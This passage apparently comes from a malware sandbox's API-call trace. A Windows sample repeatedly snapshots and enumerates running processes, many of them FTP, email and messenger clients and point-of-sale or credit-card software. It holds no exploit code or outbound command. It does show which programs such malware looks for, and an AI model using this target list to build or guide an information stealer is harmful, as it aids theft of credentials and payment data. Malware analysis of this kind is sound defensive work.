th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0277.504] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.508] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.511] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.529] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0277.533] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.536] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.539] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0277.541] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.574] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0277.579] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0277.582] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0277.585] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0277.588] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0277.590] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0277.594] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0277.597] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0277.600] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0277.604] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0277.607] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0277.611] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0277.614] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0277.617] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0277.619] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0277.622] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0277.624] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0277.630] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0277.633] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0277.636] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0277.638] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0277.641] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0277.644] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0277.647] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0277.653] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0277.656] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0277.660] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0277.662] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0277.664] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0277.666] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0277.669] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0277.674] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0277.677] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0277.679] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0277.683] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0277.686] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0277.688] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0277.690] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0277.693] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0277.697] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0277.700] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0277.702] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0277.706] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0277.751] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0277.754] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0277.757] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0277.760] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0277.763] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0277.768] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0277.771] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0277.774] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0277.776] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0277.779] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0277.782] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0277.785] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0277.787] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0277.790] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0277.793] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0277.796] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0277.799] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0277.801] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0277.806] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0277.809] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0277.811] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.814] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0277.819] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0277.821] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.824] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0277.826] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0277.829] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0277.832] CloseHandle (hObject=0x1978) returned 1 [0277.832] Sleep (dwMilliseconds=0x64) [0277.836] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0277.855] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.859] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.861] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.896] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.899] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: 